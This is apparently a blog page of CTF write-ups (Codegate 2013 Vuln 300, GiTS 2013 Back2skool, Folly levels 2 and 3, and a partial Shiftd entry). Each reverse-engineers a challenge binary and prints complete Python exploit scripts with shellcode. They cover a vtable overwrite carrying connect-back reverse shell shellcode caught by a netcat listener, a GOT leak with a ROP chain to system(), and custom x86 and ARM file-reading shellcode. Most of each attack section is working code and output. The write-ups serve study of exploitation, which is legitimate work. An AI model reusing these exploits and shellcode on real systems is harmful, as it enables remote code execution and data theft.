code hacking, zen coding


Codegate 2013 Quals – Vuln 300 Write-up

Posted by aXs

This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.

$ nc 6666
Input Num : 32
Input Msg : TOTO
Reply :

$ nc 6666
Input Num : 2048
Input Msg : TOTO
Reply :

$ nc 6666
Input Num : -1
Input Msg : TOTO

The reverse engineered main part of the program is as follow:

- We create a new objet myClass
- Set the virtual function pointer for the do_reply function.
- Get inputs from user
- Copy user data to myClass
- Call myClass->do_reply

int __cdecl handler()
  int myClass; // ebx@1
  int size; // ST10_4@1

  myClass = operator new();
  printf("Input Num : ");
  fgets(buffer, 2048, stdin);
  size = atoi(buffer);
  memset(buffer, 0, 2048u);
  printf("Input Msg : ");
  fgets(buffer, 2048, stdin);
  do_copy(myClass, buffer, size);
  (**(void (__cdecl ***)(_DWORD))myClass)(myClass);
  return 0;

The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.

char *__cdecl do_copy(int dest, const char *src, signed int size)
  char *result; // eax@5

  if ( size > 2047 )
    result = strcpy((char *)(dest + 4), src);
    for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
  return result;

If we use size = -4:

    for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111

-4 ^ -1 = 3

So we can simplify the function as follow:

    for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

And even more:

    for ( i = 0; 4 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest), src, 2044);

strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.

Let's check this with a debugger:

gdb$ run
Input Num : -4
Input Msg : ABCD
  EAX: 0x080491E0  EBX: 0x0804A008  ECX: 0x0804A00C  EDX: 0x0804A008  o d I t s z A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF698  ESP: 0xBFFFF68C  EIP: 0x080488D5
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
=> 0x80488d5: call   0x80485a8 <strncpy@plt>
   0x80488da: jmp    0x80488f1
   0x80488dc: mov    eax,DWORD PTR [ebp+0x8]
   0x80488df: lea    edx,[eax+0x4]
   0x80488e2: mov    eax,DWORD PTR [ebp+0xc]
   0x80488e5: mov    DWORD PTR [esp+0x4],eax
   0x80488e9: mov    DWORD PTR [esp],edx
   0x80488ec: call   0x80485f8 <strcpy@plt>

Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008  0x080491e0  0x000007fc  0xbffff6b8

Our calculations are correct, destination will be start of myClass.

Let's take a deeper look on how a virtual function call happends:

(**(void (__cdecl ***)(_DWORD))myClass)(myClass);

This translate in assembly to:

.text:08048825                 mov     eax, [ebp+var_C] ; myClass
.text:08048828                 mov     eax, [eax]       ; virtual function pointer offset
.text:0804882A                 mov     edx, [eax]       ; virtual function offset
.text:0804882C                 mov     eax, [ebp+var_C]
.text:0804882F                 mov     [esp], eax
.text:08048832                 call    edx              ; call virtual function

Lets check again with a debugger using -4 for size:

gdb$ run
Input Num : -4
Input Msg : ABCD

Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x44434241  EBX: 0x0804A008  ECX: 0x000007F6  EDX: 0x000007F6  o d I t S z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF6B8  ESP: 0xBFFFF6A0  EIP: 0x0804882A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
=> 0x804882a: mov    edx,DWORD PTR [eax]
   0x804882c: mov    eax,DWORD PTR [ebp-0xc]
   0x804882f: mov    DWORD PTR [esp],eax
   0x8048832: call   edx
   0x8048834: mov    eax,0x0
   0x8048839: add    esp,0x14
   0x804883c: pop    ebx
   0x804883d: pop    ebp
0x0804882a in ?? ()

Bingo. 'ABCD' (0x44434241) was written to the virtual function pointer.

Now it's only a matter of filling this buffer with a shellcode and jumping to it:


A will be the offset of B
B will be the offset of SHELLCODE

Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.

import telnetlib
from struct import pack, unpack

# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

host = ''
port = 6666

tn = telnetlib.Telnet(host, port)

tn.read_until("Input Num : ")
tn.read_until("Input Msg : ")

buffer =  pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"

print repr(buffer)

s = tn.get_socket()

data = True
while data:
    data = s.recv(1024)
    if data:
        print data


$ nc -v -l -p 45295
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
cd /home/S74R
cat key
Victoria Secret show they miss me ;)

GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

Posted by aXs

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, "The one-stop shop for all your arithmetic needs".

$ nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

  read  Read value from given index in table
  write Write value to given index in table
  func1 Change operation to addition
  func2 Change operation to multiplication
  math  Perform math operation on table
  exit  Quit and disconnect
Input position to read from:
Value at position 1: 1
Input position to write to:
Input numeric value to write:
Value at position 1: 10
Setting mode to ADDITION
Result of math: 54
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the "read" function works:

sendString(sockfd, (int)"Input position to read from:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
- There is no bound checking on the position value
- position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the "write" function:

readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
if ( position <= 9 )
  sendString(sockfd, (int)"Input numeric value to write:\n");
  readUntil(sockfd, (int)&nptr, 0x13u, 10);
  *(_DWORD *)&values[4 * position] = atoi(&nptr);
  sock_printf(sockfd, "Value at position %d: %d\n", position);
  sendString(sockfd, (int)"Table index too large!\n");

Almost the same story here except we have an inefficient bound checking:
- You can still enter negative number and the if() check will pass
- As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
- The stack is NX
- The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc...
- There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
- Do information leak: get the address of libc's __libc_start_main in the GOT table
- Overwrite the math_ptr with a stack pivot
- Fill the values array with a shell command line : cat key>&4
- Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
- Read key from socket

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside You can download this specific version from here for example:

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function's address in memory.

$ gdb
Reading symbols from debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 - 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

def read_memory(offset):
    position = offset_to_position(offset)
    tn.read_until("Input position to read from:")
    tn.write(str(position) + "\n")
    tn.read_until("Value at position ")
    tn.read_until(": ")
    value = long(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def write_memory(offset, value):
    position = offset_to_position(offset)
    tn.read_until("Input position to write to:")
    tn.write(str(position) + "\n")
    tn.read_until("Input numeric value to write:")
    tn.write(str(ctypes.c_long(value).value) + "\n")
    tn.read_until("Value at position " )
    tn.read_until( ": ")
    value = int(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def read_got_value(got, offset):
    return read_memory(got[offset])

def overwrite_got_pointer(got, offset, value):
    return write_memory(got[int(offset, 16)], value)

def offset_to_position(offset, adjust=False):
    if offset < addr_values or adjust:
        position = -((addr_values - offset) >> 2)
        position = 0x80000000 + ((offset - addr_values) >> 2)
    return ctypes.c_long(position).value

HOST = ''
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

tn.read_until("Quit and disconnect")

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
    value = read_memory(offset)
    hex_value = hex(value)
    #print hex(offset),":", hex_value
    got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
    print value, '=', hex(ptr[value])

print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values,   0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)

print "Putting ROP chain on the stack"
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")

print "Pwning!"

print "Reading key:"
print tn.read_all()



$ python
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Reading key:
You couldn't own a box if you purchased it

Key is "You couldn't own a box if you purchased it"


GiTS 2013 CTF – Trivia 400 Question 17 – Folly Level 3 ARM Write-up

Posted by aXs

This is the next level of Folly, the multi-level challenge from the Ghost in The Shell CTF.

Note: I couldn't complete this level during the CTF because of issues in getting my Debian Lenny and Squeeze qemu-system-arm images working with the Folly binary. I ended up blind coding the ARM shellcode and it didn't work. After the CTF, I managed to get a Fedora ARM distribution working on Qemu 0.14 (thanks kalenz) and was able to run and debug my solution: I had a one single byte wrong 🙁

The binary is doing exactly the same than for Level 1 x86_64 and Level 2 x86 except it's now compiled and running on a ARMv7 architecture.

The signature on the block buffer has been changed, we need to use 0x32adcd7d:

.text:00008F8E                 LDR             R3, [R7,#0x18+addr]
.text:00008F90                 STR             R3, [R7,#0x18+var_8]
.text:00008F92                 LDR             R3, [R7,#0x18+var_8]
.text:00008F94                 LDR             R2, [R3]
.text:00008F96                 MOV             R3, #0x32ADCD7D
.text:00008F9E                 CMP             R2, R3

To summarize our findings from previous level:
- We are in a chroot()
- There is no shell in this chroot()
- You need to guess the filename of the key file or uses a getdents() shellcode to list the folder first (the filename on the challenge box was "secret" so you can guess it)

The following exploit will uses a custom Linux ARM sendfile() shellcode to send us a file from the current directory:

import telnetlib
from struct import pack, unpack

host = ''
port = 5674

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")





tn.read_until("What will you shout as you attack the giants?")

# Level 5674
buffer = pack('<I', 0x032ADCD7D)

# custom open('secret')+sys_write for ARM

# Thumb mode
shellcode  = "\x05\x50\x45\xe0"  # sub  r5, r5, r5
shellcode += "\x01\x50\x8f\xe2"  # add  r5, pc, #1
shellcode += "\x15\xff\x2f\xe1"  # bx   r5

# open(filename, O_RDONLY) = fd
shellcode += "\x78\x46"          # mov  r0, pc
shellcode += "\x26\x30"          # adds r0, #38
shellcode += "\x00\x21"          # movs r1, 0
shellcode += "\x00\x22"          # movs r2, 0
shellcode += "\x05\x27"          # movs r7, #5
shellcode += "\x01\xdf"          # svc  1

# r8 = fd
shellcode += "\x80\x46"          # mov  r8, r0

# sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
shellcode += "\x04\x20"          # mov  r0, 4
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x00\x22"          # mov  r2, 0
shellcode += "\xff\x23"          # movs r3, #255
shellcode += "\xbb\x27"          # movs r7, #187
shellcode += "\x01\xdf"          # svc  1

# close(fd)
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x06\x27"          # movs r7, #6
shellcode += "\x01\xdf"          # svc  1

# exit(0)
shellcode += "\x1a\x49"          # subs r1, r1, r1
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x01\x27"          # movs r7, #1
shellcode += "\x01\xdf"          # svc  1

# filename
shellcode += "secret" + chr(0)

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)


[pid   632] open("secret", O_RDONLY)    = 3
[pid   632] sendfile(4, 3, NULL, 255)   = 5
[pid   632] close(3)                    = 0

GiTS 2013 CTF – Question 17 Trivia 400 – Folly – Level 2 x86 chroot (getdents shellcode)

Posted by aXs

folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped

Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.

It's a sample text-game like this:

$ nc 5679
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante

Sire! Let me help you onto your steed.
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante

Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."

"What giants?" asked Sancho Panza.

"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."

"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."

What will you shout as you attack the giants?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante


You have to first "Mount Rocinante" before you can "Attack Giants". Let's focus on the attack:

First a RWE buffer is allocated with mmap:

.text:08049025                 mov     dword ptr [esp+14h], 0 ; offset
.text:0804902D                 mov     dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035                 mov     dword ptr [esp+0Ch], 22h ; flags
.text:0804903D                 mov     dword ptr [esp+8], 7 ; prot RWE
.text:08049045                 mov     dword ptr [esp+4], 1000h ; len
.text:0804904D                 mov     dword ptr [esp], 0 ; addr
.text:08049054                 call    _mmap

At most 1024 bytes is read from the socket to this buffer:

.text:08049059                 mov     [ebp+addr], eax
.text:0804905C                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:08049064                 mov     dword ptr [esp+8], 400h ; int
.text:0804906C                 mov     eax, [ebp+addr]
.text:0804906F                 mov     [esp+4], eax    ; int
.text:08049073                 mov     eax, [ebp+fd]
.text:08049076                 mov     [esp], eax      ; fd
.text:08049079                 call    readUntil

Code checks if the buffer starts with 0xe7ab444b:

.text:0804907E                 mov     eax, [ebp+addr]
.text:08049081                 mov     [ebp+var_10], eax
.text:08049084                 mov     eax, [ebp+var_10]
.text:08049087                 mov     eax, [eax]
.text:08049089                 cmp     eax, 0E7AB444Bh

It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):

.text:08049090                 mov     eax, [ebp+addr]
.text:08049093                 add     eax, 4
.text:08049096                 mov     [ebp+var_14], eax
.text:08049099                 mov     eax, [ebp+fd]
.text:0804909C                 mov     [esp], eax
.text:0804909F                 mov     eax, [ebp+var_14]
.text:080490A2                 call    eax

Simple right ? Almost except a few details:

- chroot() is used to restrict the process to its home directory
- there is no shell (/bin/sh) in the chroot
- you cannot escape the chroot with the classic mkdir()/chroot() trick

We started with a custom shellcode that would open a "key" file and send it to the socket but there was no "key" file.

So we designed a custom open()+getdents() x86 shellcode. Here it is:

GLOBAL _start
    jmp get_eip
    xor eax, eax
    xor edi, edi
    inc edi
    inc edi
    inc edi
    inc edi

    ; fd = sys_open(".", 0, 0)
    add eax, edi    ; sys_open
    inc eax
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    test eax,eax  ; file exists?
    jz error

    mov ebx, eax  ; fd

    ; getdents(fd,esp,0x1337)
    mov edx, 0x1337 ;size
    sub esp, edx    ;make room on the stack
    mov ecx, esp    ;buffer
    mov eax, 0x8d   ;sys_getdents
    int 0x80

    mov edx, eax    ;size

    ; close(fd)
    mov eax, edi ; 4 + 2
    inc eax
    inc eax
    int 0x80 ; fd in ebx
    ; sys_write
    mov    ecx, esp    ; buffer
    mov    ebx, edi    ; fd 4
    mov    eax, edi    ; sys_write
    int    0x80 ; size in edx

    add esp, edx

    ; sys_exit
    xor eax, eax
    inc eax
    xor ebx,ebx
    int 0x80

    call run
    db '.', 0x0

And the python part, with a decoder for the raw getdents buffer that we send:

import telnetlib
from struct import pack, unpack

def decode_getdents(getdents):
    index = 0
    while True:
        entry_len = unpack('<H', getdents[index+8:index+10])[0]
        getdent = getdents[index:index+entry_len+1]
        inode = unpack('<I', getdent[0:4])[0]
        filename = getdent[10:10+entry_len-2]
        yield inode, filename
        index += entry_len
        if index == len(getdents):

host = ''
port = 5673

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")





tn.read_until("What will you shout as you attack the giants?")

# Level 5673
buffer = pack('<I', 0x0E7AB444B)

# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

for (inode, filename) in decode_getdents(s.recv(0x1337)):
    print inode, filename

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)


$ python
shellcode len= 77
531277 ..
531278 .
531279 flag

So the file is called "flag", let's get it with a custom X86 sendfile() shellcode:

GLOBAL _start
    jmp short get_eip
    xor eax, eax
    inc eax
    inc eax
    inc eax
    inc eax
    mov edi, eax
    xor edx, edx
    ; fd = sys_open(filename, 0, 0)
    mov eax, edi
    inc eax       ; sys_open
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    ; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
    mov ecx, eax  ; in_fd
    xor eax, eax
    mov al, 0xbb  ; sendfile() syscall
    mov ebx, edi  ; out_fd
    xor edx, edx  ; offset = 0
    mov esi, edi
    shl esi, 8    ; size (4 << 8 = 1024)
    int 0x80

    ; sys_exit(0)
    xor eax, eax
    mov al, 1 ;exit the shellcode
    xor ebx,ebx
    int 0x80

    call run            ; put address of our message onto the stack
    db 'flag', 0x0


$ python
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\\\n'

GiTS 2013 CTF – Pwnable 100 Question 8 – Shiftd

Posted by aXs

shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

Shiftd is an interesting X86_64 challenge combining information leak and exploitation.

There is an hard-coded password for access to the service, then the binary asks you for your name and how you would like to format the current time:

$ nc 5177
Welcome to Shifty's Time Formatting Service!
What is your name?
Welcome, aXs[!
Please provide a time format:
Your formatted time is:

Thank you! Come again!

Do you notice something wrong with the name ? There is an extra character "[". Lets do this against but login in hex the traffic:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 61 58 73 0a                                     # aXs.
< 00000040 57 65 6c 63 6f 6d 65 2c 20 61 58 73 bb ff 7f 21 # Welcome, aXs...!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

Oh, the character changed and we see some telltales of a information leak: "bbff7f", the beginning of a stack pointer for X86_84.

Let's take a look at the code to understand what's going on, the main function is quite short so I will be it in full:

.text:0000000000400872 do_menu         proc near               ; CODE XREF: .text:0000000000400A77p
.text:0000000000400872 timer           = dword ptr -828h
.text:0000000000400872 buffer          = byte ptr -820h
.text:0000000000400872 format          = byte ptr -420h
.text:0000000000400872 name            = byte ptr -20h
.text:0000000000400872 tp              = qword ptr -10h
.text:0000000000400872 strftime_result = dword ptr -4
.text:0000000000400872                 push    rbp
.text:0000000000400873                 mov     rbp, rsp
.text:0000000000400876                 sub     rsp, 830h
.text:000000000040087D                 lea     rsi, [rbp+format]
.text:0000000000400884                 mov     eax, 0
.text:0000000000400889                 mov     edx, 80h
.text:000000000040088E                 mov     rdi, rsi
.text:0000000000400891                 mov     rcx, rdx
.text:0000000000400894                 rep stosq
.text:0000000000400897                 lea     rsi, [rbp+buffer]
.text:000000000040089E                 mov     eax, 0
.text:00000000004008A3                 mov     edx, 80h
.text:00000000004008A8                 mov     rdi, rsi
.text:00000000004008AB                 mov     rcx, rdx
.text:00000000004008AE                 rep stosq
.text:00000000004008B1                 mov     [rbp+strftime_result], 0
.text:00000000004008B8                 lea     rdi, s          ; "Welcome to Shifty's Time Formatting Ser"...
.text:00000000004008BF                 call    _puts
.text:00000000004008C4                 lea     rdi, aWhatIsYourName ; "What is your name?"
.text:00000000004008CB                 call    _puts
.text:00000000004008D0                 mov     rax, cs:stdout_ptr
.text:00000000004008D7                 mov     rax, [rax]
.text:00000000004008DA                 mov     rdi, rax        ; stream
.text:00000000004008DD                 call    _fflush
.text:00000000004008E2                 lea     rax, [rbp+name]
.text:00000000004008E6                 mov     edx, 0Ah
.text:00000000004008EB                 mov     esi, 10h
.text:00000000004008F0                 mov     rdi, rax
.text:00000000004008F3                 call    do_read
.text:00000000004008F8                 lea     rax, format     ; "Welcome, %s!\n"
.text:00000000004008FF                 lea     rdx, [rbp+name]
.text:0000000000400903                 mov     rsi, rdx
.text:0000000000400906                 mov     rdi, rax        ; format
.text:0000000000400909                 mov     eax, 0
.text:000000000040090E                 call    _printf
.text:0000000000400913                 lea     rdi, aPleaseProvideA ; "Please provide a time format:"
.text:000000000040091A                 call    _puts
.text:000000000040091F                 mov     rax, cs:stdout_ptr
.text:0000000000400926                 mov     rax, [rax]
.text:0000000000400929                 mov     rdi, rax        ; stream
.text:000000000040092C                 call    _fflush
.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read
.text:0000000000400958                 lea     rax, [rbp+timer]
.text:000000000040095F                 mov     rdi, rax        ; timer
.text:0000000000400962                 call    _time
.text:0000000000400967                 lea     rax, [rbp+timer]
.text:000000000040096E                 mov     rdi, rax        ; timer
.text:0000000000400971                 call    _localtime
.text:0000000000400976                 mov     [rbp+tp], rax
.text:000000000040097A                 mov     rcx, [rbp+tp]   ; tp
.text:000000000040097E                 lea     rdx, [rbp+format] ; format
.text:0000000000400985                 lea     rax, [rbp+buffer]
.text:000000000040098C                 mov     esi, 400h       ; maxsize
.text:0000000000400991                 mov     rdi, rax        ; s
.text:0000000000400994                 call    _strftime
.text:0000000000400999                 mov     [rbp+strftime_result], eax
.text:000000000040099C                 cmp     [rbp+strftime_result], 0C0000005h
.text:00000000004009A3                 jz      short failed_strftime
.text:00000000004009A5                 lea     rdi, aYourFormattedT ; "Your formatted time is:"
.text:00000000004009AC                 call    _puts
.text:00000000004009B1                 lea     rax, [rbp+buffer]
.text:00000000004009B8                 mov     rdi, rax        ; s
.text:00000000004009BB                 call    _puts
.text:00000000004009C0                 lea     rdi, empty_string ; s
.text:00000000004009C7                 call    _puts
.text:00000000004009CC                 lea     rdi, aThankYouComeAg ; "Thank you! Come again!"
.text:00000000004009D3                 call    _puts
.text:00000000004009D8                 mov     rax, cs:stdout_ptr
.text:00000000004009DF                 mov     rax, [rax]
.text:00000000004009E2                 mov     rdi, rax        ; stream
.text:00000000004009E5                 call    _fflush
.text:00000000004009EA                 leave
.text:00000000004009EB                 retn

The problem is that do_read() doesn't NULL-terminate the string. So when we print the name, we print the name and whatever is after the name on the stack until we hit a NULL.

Let's try again but with an empty name:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 0a                                              # .
< 00000040 57 65 6c 63 6f 6d 65 2c 20 80 c5 1d 6c ff 7f 21 # Welcome, ...l..!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

We get "80 c5 1d 6c ff 7f", otherwise said 0x7fff6c1dc580 which is full pointer to an element on the stack (it's a pointer to the previous string used by the password actually)

